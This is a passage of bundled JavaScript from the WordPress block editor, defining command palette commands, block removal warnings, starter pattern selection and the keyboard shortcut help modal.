    onClose: closeModal,
    onSuccess: () => closeModal(),
    pattern: record
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/commands/index.js
/**
 * WordPress dependencies
 */












/**
 * Internal dependencies
 */






const getEditorCommandLoader = () => function useEditorCommandLoader() {
  const {
    editorMode,
    isListViewOpen,
    showBlockBreadcrumbs,
    isDistractionFree,
    isFocusMode,
    isPreviewMode,
    isViewable,
    isCodeEditingEnabled,
    isRichEditingEnabled,
    isPublishSidebarEnabled
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _get, _getPostType$viewable;
    const {
      get
    } = select(external_wp_preferences_namespaceObject.store);
    const {
      isListViewOpened,
      getCurrentPostType,
      getEditorSettings
    } = select(store_store);
    const {
      getSettings
    } = select(external_wp_blockEditor_namespaceObject.store);
    const {
      getPostType
    } = select(external_wp_coreData_namespaceObject.store);
    return {
      editorMode: (_get = get('core', 'editorMode')) !== null && _get !== void 0 ? _get : 'visual',
      isListViewOpen: isListViewOpened(),
      showBlockBreadcrumbs: get('core', 'showBlockBreadcrumbs'),
      isDistractionFree: get('core', 'distractionFree'),
      isFocusMode: get('core', 'focusMode'),
      isPreviewMode: getSettings().isPreviewMode,
      isViewable: (_getPostType$viewable = getPostType(getCurrentPostType())?.viewable) !== null && _getPostType$viewable !== void 0 ? _getPostType$viewable : false,
      isCodeEditingEnabled: getEditorSettings().codeEditingEnabled,
      isRichEditingEnabled: getEditorSettings().richEditingEnabled,
      isPublishSidebarEnabled: select(store_store).isPublishSidebarEnabled()
    };
  }, []);
  const {
    getActiveComplementaryArea
  } = (0,external_wp_data_namespaceObject.useSelect)(store);
  const {
    toggle
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
  const {
    createInfoNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const {
    __unstableSaveForPreview,
    setIsListViewOpened,
    switchEditorMode,
    toggleDistractionFree,
    toggleSpotlightMode,
    toggleTopToolbar
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const {
    openModal,
    enableComplementaryArea,
    disableComplementaryArea
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  const {
    getCurrentPostId
  } = (0,external_wp_data_namespaceObject.useSelect)(store_store);
  const {
    isBlockBasedTheme,
    canCreateTemplate
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return {
      isBlockBasedTheme: select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.is_block_theme,
      canCreateTemplate: select(external_wp_coreData_namespaceObject.store).canUser('create', {
        kind: 'postType',
        name: 'wp_template'
      })
    };
  }, []);
  const allowSwitchEditorMode = isCodeEditingEnabled && isRichEditingEnabled;
  if (isPreviewMode) {
    return {
      commands: [],
      isLoading: false
    };
  }
  const commands = [];
  commands.push({
    name: 'core/open-shortcut-help',
    label: (0,external_wp_i18n_namespaceObject.__)('Keyboard shortcuts'),
    icon: library_keyboard,
    callback: ({
      close
    }) => {
      close();
      openModal('editor/keyboard-shortcut-help');
    }
  });
  commands.push({
    name: 'core/toggle-distraction-free',
    label: isDistractionFree ? (0,external_wp_i18n_namespaceObject.__)('Exit Distraction free') : (0,external_wp_i18n_namespaceObject.__)('Enter Distraction free'),
    callback: ({
      close
    }) => {
      toggleDistractionFree();
      close();
    }
  });
  commands.push({
    name: 'core/open-preferences',
    label: (0,external_wp_i18n_namespaceObject.__)('Editor preferences'),
    callback: ({
      close
    }) => {
      close();
      openModal('editor/preferences');
    }
  });
  commands.push({
    name: 'core/toggle-spotlight-mode',
    label: isFocusMode ? (0,external_wp_i18n_namespaceObject.__)('Exit Spotlight mode') : (0,external_wp_i18n_namespaceObject.__)('Enter Spotlight mode'),
    callback: ({
      close
    }) => {
      toggleSpotlightMode();
      close();
    }
  });
  commands.push({
    name: 'core/toggle-list-view',
    label: isListViewOpen ? (0,external_wp_i18n_namespaceObject.__)('Close List View') : (0,external_wp_i18n_namespaceObject.__)('Open List View'),
    icon: list_view,
    callback: ({
      close
    }) => {
      setIsListViewOpened(!isListViewOpen);
      close();
      createInfoNotice(isListViewOpen ? (0,external_wp_i18n_namespaceObject.__)('List View off.') : (0,external_wp_i18n_namespaceObject.__)('List View on.'), {
        id: 'core/editor/toggle-list-view/notice',
        type: 'snackbar'
      });
    }
  });
  commands.push({
    name: 'core/toggle-top-toolbar',
    label: (0,external_wp_i18n_namespaceObject.__)('Top toolbar'),
    callback: ({
      close
    }) => {
      toggleTopToolbar();
      close();
    }
  });
  if (allowSwitchEditorMode) {
    commands.push({
      name: 'core/toggle-code-editor',
      label: editorMode === 'visual' ? (0,external_wp_i18n_namespaceObject.__)('Open code editor') : (0,external_wp_i18n_namespaceObject.__)('Exit code editor'),
      icon: library_code,
      callback: ({
        close
      }) => {
        switchEditorMode(editorMode === 'visual' ? 'text' : 'visual');
        close();
      }
    });
  }
  commands.push({
    name: 'core/toggle-breadcrumbs',
    label: showBlockBreadcrumbs ? (0,external_wp_i18n_namespaceObject.__)('Hide block breadcrumbs') : (0,external_wp_i18n_namespaceObject.__)('Show block breadcrumbs'),
    callback: ({
      close
    }) => {
      toggle('core', 'showBlockBreadcrumbs');
      close();
      createInfoNotice(showBlockBreadcrumbs ? (0,external_wp_i18n_namespaceObject.__)('Breadcrumbs hidden.') : (0,external_wp_i18n_namespaceObject.__)('Breadcrumbs visible.'), {
        id: 'core/editor/toggle-breadcrumbs/notice',
        type: 'snackbar'
      });
    }
  });
  commands.push({
    name: 'core/open-settings-sidebar',
    label: (0,external_wp_i18n_namespaceObject.__)('Show or hide the Settings panel.'),
    icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? drawer_left : drawer_right,
    callback: ({
      close
    }) => {
      const activeSidebar = getActiveComplementaryArea('core');
      close();
      if (activeSidebar === 'edit-post/document') {
        disableComplementaryArea('core');
      } else {
        enableComplementaryArea('core', 'edit-post/document');
      }
    }
  });
  commands.push({
    name: 'core/open-block-inspector',
    label: (0,external_wp_i18n_namespaceObject.__)('Show or hide the Block settings panel'),
    icon: block_default,
    callback: ({
      close
    }) => {
      const activeSidebar = getActiveComplementaryArea('core');
      close();
      if (activeSidebar === 'edit-post/block') {
        disableComplementaryArea('core');
      } else {
        enableComplementaryArea('core', 'edit-post/block');
      }
    }
  });
  commands.push({
    name: 'core/toggle-publish-sidebar',
    label: isPublishSidebarEnabled ? (0,external_wp_i18n_namespaceObject.__)('Disable pre-publish checks') : (0,external_wp_i18n_namespaceObject.__)('Enable pre-publish checks'),
    icon: format_list_bullets,
    callback: ({
      close
    }) => {
      close();
      toggle('core', 'isPublishSidebarEnabled');
      createInfoNotice(isPublishSidebarEnabled ? (0,external_wp_i18n_namespaceObject.__)('Pre-publish checks disabled.') : (0,external_wp_i18n_namespaceObject.__)('Pre-publish checks enabled.'), {
        id: 'core/editor/publish-sidebar/notice',
        type: 'snackbar'
      });
    }
  });
  if (isViewable) {
    commands.push({
      name: 'core/preview-link',
      label: (0,external_wp_i18n_namespaceObject.__)('Preview in a new tab'),
      icon: library_external,
      callback: async ({
        close
      }) => {
        close();
        const postId = getCurrentPostId();
        const link = await __unstableSaveForPreview();
        window.open(link, `wp-preview-${postId}`);
      }
    });
  }
  if (canCreateTemplate && isBlockBasedTheme) {
    const isSiteEditor = (0,external_wp_url_namespaceObject.getPath)(window.location.href)?.includes('site-editor.php');
    if (!isSiteEditor) {
      commands.push({
        name: 'core/go-to-site-editor',
        label: (0,external_wp_i18n_namespaceObject.__)('Open Site Editor'),
        callback: ({
          close
        }) => {
          close();
          document.location = 'site-editor.php';
        }
      });
    }
  }
  return {
    commands,
    isLoading: false
  };
};
const getEditedEntityContextualCommands = () => function useEditedEntityContextualCommands() {
  const {
    postType
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostType
    } = select(store_store);
    return {
      postType: getCurrentPostType()
    };
  }, []);
  const {
    openModal
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  const commands = [];
  if (postType === PATTERN_POST_TYPE) {
    commands.push({
      name: 'core/rename-pattern',
      label: (0,external_wp_i18n_namespaceObject.__)('Rename pattern'),
      icon: library_edit,
      callback: ({
        close
      }) => {
        openModal(modalName);
        close();
      }
    });
    commands.push({
      name: 'core/duplicate-pattern',
      label: (0,external_wp_i18n_namespaceObject.__)('Duplicate pattern'),
      icon: library_symbol,
      callback: ({
        close
      }) => {
        openModal(pattern_duplicate_modal_modalName);
        close();
      }
    });
  }
  return {
    isLoading: false,
    commands
  };
};
const getPageContentFocusCommands = () => function usePageContentFocusCommands() {
  const {
    onNavigateToEntityRecord,
    goBack,
    templateId,
    isPreviewMode
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getRenderingMode,
      getEditorSettings: _getEditorSettings,
      getCurrentTemplateId
    } = unlock(select(store_store));
    const editorSettings = _getEditorSettings();
    return {
      isTemplateHidden: getRenderingMode() === 'post-only',
      onNavigateToEntityRecord: editorSettings.onNavigateToEntityRecord,
      getEditorSettings: _getEditorSettings,
      goBack: editorSettings.onNavigateToPreviousEntityRecord,
      templateId: getCurrentTemplateId(),
      isPreviewMode: editorSettings.isPreviewMode
    };
  }, []);
  const {
    editedRecord: template,
    hasResolved
  } = (0,external_wp_coreData_namespaceObject.useEntityRecord)('postType', 'wp_template', templateId);
  if (isPreviewMode) {
    return {
      isLoading: false,
      commands: []
    };
  }
  const commands = [];
  if (templateId && hasResolved) {
    commands.push({
      name: 'core/switch-to-template-focus',
      label: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: template title */
      (0,external_wp_i18n_namespaceObject.__)('Edit template: %s'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(template.title)),
      icon: library_layout,
      callback: ({
        close
      }) => {
        onNavigateToEntityRecord({
          postId: templateId,
          postType: 'wp_template'
        });
        close();
      }
    });
  }
  if (!!goBack) {
    commands.push({
      name: 'core/switch-to-previous-entity',
      label: (0,external_wp_i18n_namespaceObject.__)('Go back'),
      icon: library_page,
      callback: ({
        close
      }) => {
        goBack();
        close();
      }
    });
  }
  return {
    isLoading: false,
    commands
  };
};
const getManipulateDocumentCommands = () => function useManipulateDocumentCommands() {
  const {
    postType,
    postId
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostId,
      getCurrentPostType
    } = select(store_store);
    return {
      postType: getCurrentPostType(),
      postId: getCurrentPostId()
    };
  }, []);
  const {
    editedRecord: template,
    hasResolved
  } = (0,external_wp_coreData_namespaceObject.useEntityRecord)('postType', postType, postId);
  // eslint-disable-next-line @wordpress/no-unused-vars-before-return
  const {
    revertTemplate
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store_store));
  if (!hasResolved || ![TEMPLATE_PART_POST_TYPE, TEMPLATE_POST_TYPE].includes(postType)) {
    return {
      isLoading: true,
      commands: []
    };
  }
  const commands = [];
  if (isTemplateRevertable(template)) {
    const label = template.type === TEMPLATE_POST_TYPE ? (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: template title */
    (0,external_wp_i18n_namespaceObject.__)('Reset template: %s'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(template.title)) : (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: template part title */
    (0,external_wp_i18n_namespaceObject.__)('Reset template part: %s'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(template.title));
    commands.push({
      name: 'core/reset-template',
      label,
      icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? rotate_right : rotate_left,
      callback: ({
        close
      }) => {
        revertTemplate(template);
        close();
      }
    });
  }
  return {
    isLoading: !hasResolved,
    commands
  };
};
function useCommands() {
  (0,external_wp_commands_namespaceObject.useCommandLoader)({
    name: 'core/editor/edit-ui',
    hook: getEditorCommandLoader()
  });
  (0,external_wp_commands_namespaceObject.useCommandLoader)({
    name: 'core/editor/contextual-commands',
    hook: getEditedEntityContextualCommands(),
    context: 'entity-edit'
  });
  (0,external_wp_commands_namespaceObject.useCommandLoader)({
    name: 'core/editor/page-content-focus',
    hook: getPageContentFocusCommands(),
    context: 'entity-edit'
  });
  (0,external_wp_commands_namespaceObject.useCommandLoader)({
    name: 'core/edit-site/manipulate-document',
    hook: getManipulateDocumentCommands()
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/block-removal-warnings/index.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */



const {
  BlockRemovalWarningModal
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);

// Prevent accidental removal of certain blocks, asking the user for confirmation first.
const TEMPLATE_BLOCKS = ['core/post-content', 'core/post-template', 'core/query'];
const BLOCK_REMOVAL_RULES = [{
  // Template blocks.
  // The warning is only shown when a user manipulates templates or template parts.
  postTypes: ['wp_template', 'wp_template_part'],
  callback(removedBlocks) {
    const removedTemplateBlocks = removedBlocks.filter(({
      name
    }) => TEMPLATE_BLOCKS.includes(name));
    if (removedTemplateBlocks.length) {
      return (0,external_wp_i18n_namespaceObject._n)('Deleting this block will stop your post or page content from displaying on this template. It is not recommended.', 'Some of the deleted blocks will stop your post or page content from displaying on this template. It is not recommended.', removedBlocks.length);
    }
  }
}, {
  // Pattern overrides.
  // The warning is only shown when the user edits a pattern.
  postTypes: ['wp_block'],
  callback(removedBlocks) {
    const removedBlocksWithOverrides = removedBlocks.filter(({
      attributes
    }) => attributes?.metadata?.bindings && Object.values(attributes.metadata.bindings).some(binding => binding.source === 'core/pattern-overrides'));
    if (removedBlocksWithOverrides.length) {
      return (0,external_wp_i18n_namespaceObject._n)('The deleted block allows instance overrides. Removing it may result in content not displaying where this pattern is used. Are you sure you want to proceed?', 'Some of the deleted blocks allow instance overrides. Removing them may result in content not displaying where this pattern is used. Are you sure you want to proceed?', removedBlocks.length);
    }
  }
}];
function BlockRemovalWarnings() {
  const currentPostType = (0,external_wp_data_namespaceObject.useSelect)(select => select(store_store).getCurrentPostType(), []);
  const removalRulesForPostType = (0,external_wp_element_namespaceObject.useMemo)(() => BLOCK_REMOVAL_RULES.filter(rule => rule.postTypes.includes(currentPostType)), [currentPostType]);

  // `BlockRemovalWarnings` is rendered in the editor provider, a shared component
  // across react native and web. However, `BlockRemovalWarningModal` is web only.
  // Check it exists before trying to render it.
  if (!BlockRemovalWarningModal) {
    return null;
  }
  if (!removalRulesForPostType) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockRemovalWarningModal, {
    rules: removalRulesForPostType
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/start-page-options/index.js
/**
 * WordPress dependencies
 */










/**
 * Internal dependencies
 */



function useStartPatterns() {
  // A pattern is a start pattern if it includes 'core/post-content' in its blockTypes,
  // and it has no postTypes declared and the current post type is page or if
  // the current post type is part of the postTypes declared.
  const {
    blockPatternsWithPostContentBlockType,
    postType
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getPatternsByBlockTypes,
      getBlocksByName
    } = select(external_wp_blockEditor_namespaceObject.store);
    const {
      getCurrentPostType,
      getRenderingMode
    } = select(store_store);
    const rootClientId = getRenderingMode() === 'post-only' ? '' : getBlocksByName('core/post-content')?.[0];
    return {
      blockPatternsWithPostContentBlockType: getPatternsByBlockTypes('core/post-content', rootClientId),
      postType: getCurrentPostType()
    };
  }, []);
  return (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (!blockPatternsWithPostContentBlockType?.length) {
      return [];
    }

    /*
     * Filter patterns without postTypes declared if the current postType is page
     * or patterns that declare the current postType in its post type array.
     */
    return blockPatternsWithPostContentBlockType.filter(pattern => {
      return postType === 'page' && !pattern.postTypes || Array.isArray(pattern.postTypes) && pattern.postTypes.includes(postType);
    });
  }, [postType, blockPatternsWithPostContentBlockType]);
}
function PatternSelection({
  blockPatterns,
  onChoosePattern
}) {
  const {
    editEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const {
    postType,
    postId
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostType,
      getCurrentPostId
    } = select(store_store);
    return {
      postType: getCurrentPostType(),
      postId: getCurrentPostId()
    };
  }, []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__experimentalBlockPatternsList, {
    blockPatterns: blockPatterns,
    onClickPattern: (_pattern, blocks) => {
      editEntityRecord('postType', postType, postId, {
        blocks,
        content: ({
          blocks: blocksForSerialization = []
        }) => (0,external_wp_blocks_namespaceObject.__unstableSerializeAndClean)(blocksForSerialization)
      });
      onChoosePattern();
    }
  });
}
function StartPageOptionsModal({
  onClose
}) {
  const [showStartPatterns, setShowStartPatterns] = (0,external_wp_element_namespaceObject.useState)(true);
  const {
    set: setPreference
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
  const startPatterns = useStartPatterns();
  const hasStartPattern = startPatterns.length > 0;
  if (!hasStartPattern) {
    return null;
  }
  function handleClose() {
    onClose();
    setPreference('core', 'enableChoosePatternModal', showStartPatterns);
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Modal, {
    className: "editor-start-page-options__modal",
    title: (0,external_wp_i18n_namespaceObject.__)('Choose a pattern'),
    isFullScreen: true,
    onRequestClose: handleClose,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "editor-start-page-options__modal-content",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PatternSelection, {
        blockPatterns: startPatterns,
        onChoosePattern: handleClose
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, {
      className: "editor-start-page-options__modal__actions",
      justify: "flex-end",
      expanded: false,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToggleControl, {
          __nextHasNoMarginBottom: true,
          checked: showStartPatterns,
          label: (0,external_wp_i18n_namespaceObject.__)('Show starter patterns'),
          help: (0,external_wp_i18n_namespaceObject.__)('Shows starter patterns when creating a new page.'),
          onChange: newValue => {
            setShowStartPatterns(newValue);
          }
        })
      })
    })]
  });
}
function StartPageOptions() {
  const [isOpen, setIsOpen] = (0,external_wp_element_namespaceObject.useState)(false);
  const {
    isEditedPostDirty,
    isEditedPostEmpty
  } = (0,external_wp_data_namespaceObject.useSelect)(store_store);
  const {
    isModalActive
  } = (0,external_wp_data_namespaceObject.useSelect)(store);
  const {
    enabled,
    postId
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostId,
      getCurrentPostType
    } = select(store_store);
    const choosePatternModalEnabled = select(external_wp_preferences_namespaceObject.store).get('core', 'enableChoosePatternModal');
    return {
      postId: getCurrentPostId(),
      enabled: choosePatternModalEnabled && TEMPLATE_POST_TYPE !== getCurrentPostType()
    };
  }, []);

  // Note: The `postId` ensures the effect re-runs when pages are switched without remounting the component.
  // Examples: changing pages in the List View, creating a new page via Command Palette.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    const isFreshPage = !isEditedPostDirty() && isEditedPostEmpty();
    // Prevents immediately opening when features is enabled via preferences modal.
    const isPreferencesModalActive = isModalActive('editor/preferences');
    if (!enabled || !isFreshPage || isPreferencesModalActive) {
      return;
    }

    // Open the modal after the initial render for a new page.
    setIsOpen(true);
  }, [enabled, postId, isEditedPostDirty, isEditedPostEmpty, isModalActive]);
  if (!isOpen) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StartPageOptionsModal, {
    onClose: () => setIsOpen(false)
  });
}

;// external ["wp","keyboardShortcuts"]
const external_wp_keyboardShortcuts_namespaceObject = window["wp"]["keyboardShortcuts"];
;// ./node_modules/@wordpress/editor/build-module/components/keyboard-shortcut-help-modal/config.js
/**
 * WordPress dependencies
 */

const textFormattingShortcuts = [{
  keyCombination: {
    modifier: 'primary',
    character: 'b'
  },
  description: (0,external_wp_i18n_namespaceObject.__)('Make the selected text bold.')
}, {
  keyCombination: {
    modifier: 'primary',
    character: 'i'
  },
  description: (0,external_wp_i18n_namespaceObject.__)('Make the selected text italic.')
}, {
  keyCombination: {
    modifier: 'primary',
    character: 'k'
  },
  description: (0,external_wp_i18n_namespaceObject.__)('Convert the selected text into a link.')
}, {
  keyCombination: {
    modifier: 'primaryShift',
    character: 'k'
  },
  description: (0,external_wp_i18n_namespaceObject.__)('Remove a link.')
}, {
  keyCombination: {
    character: '[['
  },
  description: (0,external_wp_i18n_namespaceObject.__)('Insert a link to a post or page.')
}, {
  keyCombination: {
    modifier: 'primary',
    character: 'u'
  },
  description: (0,external_wp_i18n_namespaceObject.__)('Underline the selected text.')
}, {
  keyCombination: {
    modifier: 'access',
    character: 'd'
  },
  description: (0,external_wp_i18n_namespaceObject.__)('Strikethrough the selected text.')
}, {
  keyCombination: {
    modifier: 'access',
    character: 'x'
  },
  description: (0,external_wp_i18n_namespaceObject.__)('Make the selected text inline code.')
}, {
  keyCombination: {
    modifier: 'access',
    character: '0'
  },
  aliases: [{
    modifier: 'access',
    character: '7'
  }],
  description: (0,external_wp_i18n_namespaceObject.__)('Convert the current heading to a paragraph.')
}, {
  keyCombination: {
    modifier: 'access',
    character: '1-6'
  },
  description: (0,external_wp_i18n_namespaceObject.__)('Convert the current paragraph or heading to a heading of level 1 to 6.')
}, {
  keyCombination: {
    modifier: 'primaryShift',
    character: 'SPACE'
  },
  description: (0,external_wp_i18n_namespaceObject.__)('Add non breaking space.')
}];

;// external ["wp","keycodes"]
const external_wp_keycodes_namespaceObject = window["wp"]["keycodes"];
;// ./node_modules/@wordpress/editor/build-module/components/keyboard-shortcut-help-modal/shortcut.js
/**
 * WordPress dependencies
 */



function KeyCombination({
  keyCombination,
  forceAriaLabel
}) {
  const shortcut = keyCombination.modifier ? external_wp_keycodes_namespaceObject.displayShortcutList[keyCombination.modifier](keyCombination.character) : keyCombination.character;
  const ariaLabel = keyCombination.modifier ? external_wp_keycodes_namespaceObject.shortcutAriaLabel[keyCombination.modifier](keyCombination.character) : keyCombination.character;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("kbd", {
    className: "editor-keyboard-shortcut-help-modal__shortcut-key-combination",
    "aria-label": forceAriaLabel || ariaLabel,
    children: (Array.isArray(shortcut) ? shortcut : [shortcut]).map((character, index) => {
      if (character === '+') {
        return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.Fragment, {
          children: character
        }, index);
      }
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("kbd", {
        className: "editor-keyboard-shortcut-help-modal__shortcut-key",
        children: character
      }, index);
    })
  });
}
function Shortcut({
  description,
  keyCombination,
  aliases = [],
  ariaLabel
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "editor-keyboard-shortcut-help-modal__shortcut-description",
      children: description
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      className: "editor-keyboard-shortcut-help-modal__shortcut-term",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(KeyCombination, {
        keyCombination: keyCombination,
        forceAriaLabel: ariaLabel
      }), aliases.map((alias, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(KeyCombination, {
        keyCombination: alias,
        forceAriaLabel: ariaLabel
      }, index))]
    })]
  });
}
/* harmony default export */ const keyboard_shortcut_help_modal_shortcut = (Shortcut);

;// ./node_modules/@wordpress/editor/build-module/components/keyboard-shortcut-help-modal/dynamic-shortcut.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


function DynamicShortcut({
  name
}) {
  const {
    keyCombination,
    description,
    aliases
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getShortcutKeyCombination,
      getShortcutDescription,
      getShortcutAliases
    } = select(external_wp_keyboardShortcuts_namespaceObject.store);
    return {
      keyCombination: getShortcutKeyCombination(name),
      aliases: getShortcutAliases(name),
      description: getShortcutDescription(name)
    };
  }, [name]);
  if (!keyCombination) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(keyboard_shortcut_help_modal_shortcut, {
    keyCombination: keyCombination,
    description: description,
    aliases: aliases
  });
}
/* harmony default export */ const dynamic_shortcut = (DynamicShortcut);

;// ./node_modules/@wordpress/editor/build-module/components/keyboard-shortcut-help-modal/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */




const KEYBOARD_SHORTCUT_HELP_MODAL_NAME = 'editor/keyboard-shortcut-help';
const ShortcutList = ({
  shortcuts
}) =>
/*#__PURE__*/
/*
 * Disable reason: The `list` ARIA role is redundant but
 * Safari+VoiceOver won't announce the list otherwise.
 */
/* eslint-disable jsx-a11y/no-redundant-roles */
(0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", {
  className: "editor-keyboard-shortcut-help-modal__shortcut-list",
  role: "list",
  children: shortcuts.map((shortcut, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("li", {
    className: "editor-keyboard-shortcut-help-modal__shortcut",
    children: typeof shortcut === 'string' ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dynamic_shortcut, {
      name: shortcut
    }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(keyboard_shortcut_help_modal_shortcut, {
      ...shortcut
    })
  }, index))
})
/* eslint-enable jsx-a11y/no-redundant-roles */;
const ShortcutSection = ({
  title,
  shortcuts,
  className
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("section", {
  className: dist_clsx('editor-keyboard-shortcut-help-modal__section', className),
  children: [!!title && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", {
    className: "editor-keyboard-shortcut-help-modal__section-title",
    children: title
  }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShortcutList, {
    shortcuts: shortcuts
  })]
});
const ShortcutCategorySection = ({
  title,
  categoryName,
  additionalShortcuts = []
}) => {
  const categoryShortcuts = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return select(external_wp_keyboardShortcuts_namespaceObject.store).getCategoryShortcuts(categoryName);
  }, [categoryName]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShortcutSection, {
    title: title,
    shortcuts: categoryShortcuts.concat(additionalShortcuts)
  });
};
function KeyboardShortcutHelpModal() {
  const isModalActive = (0,external_wp_data_namespaceObject.useSelect)(select => select(store).isModalActive(KEYBOARD_SHORTCUT_HELP_MODAL_NAME), []);
  const {
    openModal,
    closeModal
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  const toggleModal = () => {
    if (isModalActive) {
      closeModal();
    } else {
      openModal(KEYBOARD_SHORTCUT_HELP_MODAL_NAME);
    }
  };
  (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/editor/keyboard-shortcuts', toggleModal);
  if (!isModalActive) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Modal, {
    className: "editor-keyboard-shortcut-help-modal",
    title: (0,external_wp_i18n_namespaceObject.__)('Keyboard shortcuts'),
    closeButtonLabel: (0,external_wp_i18n_namespaceObject.__)('Close'),
    onRequestClose: toggleModal,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShortcutSection, {
      className: "editor-keyboard-shortcut-help-modal__main-shortcuts",
      shortcuts: ['core/editor/keyboard-shortcuts']
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShortcutCategorySection, {
      title: (0,external_wp_i18n_namespaceObject.__)('Global shortcuts'),
      categoryName: "global"
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShortcutCategorySection, {
      title: (0,external_wp_i18n_namespaceObject.__)('Selection shortcuts'),
      categoryName: "selection"
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShortcutCategorySection, {
      title: (0,external_wp_i18n_namespaceObject.__)('Block shortcuts'),
      categoryName: "block",
      additionalShortcuts: [{
        keyCombination: {
          character: '/'
        },
        description: (0,external_wp_i18n_namespaceObject.__)('Change the block type after adding a new paragraph.'),
        /* translators: The forward-slash character. e.g. '/'. */
        ariaLabel: (0,external_wp_i18n_namespaceObject.__)('Forward-slash')
      }]
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShortcutSection, {
      title: (0,external_wp_i18n_namespaceObject.__)('Text formatting'),
      shortcuts: textFormattingShortcuts
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShortcutCategorySection, {
      title: (0,external_wp_i18n_namespaceObject.__)('List View shortcuts'),
      categoryName: "list-view"
    })]
  });
}
/* harmony default export */ const keyboard_shortcut_help_modal = (KeyboardShortcutHelpModal);

;// ./node_modules/@wordpress/editor/build-module/components/block-settings-menu/content-only-settings-menu.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */




function ContentOnlySettingsMenuItems({
  clientId,
  onClose
}) {
  const postContentBlocks = usePostContentBlocks();
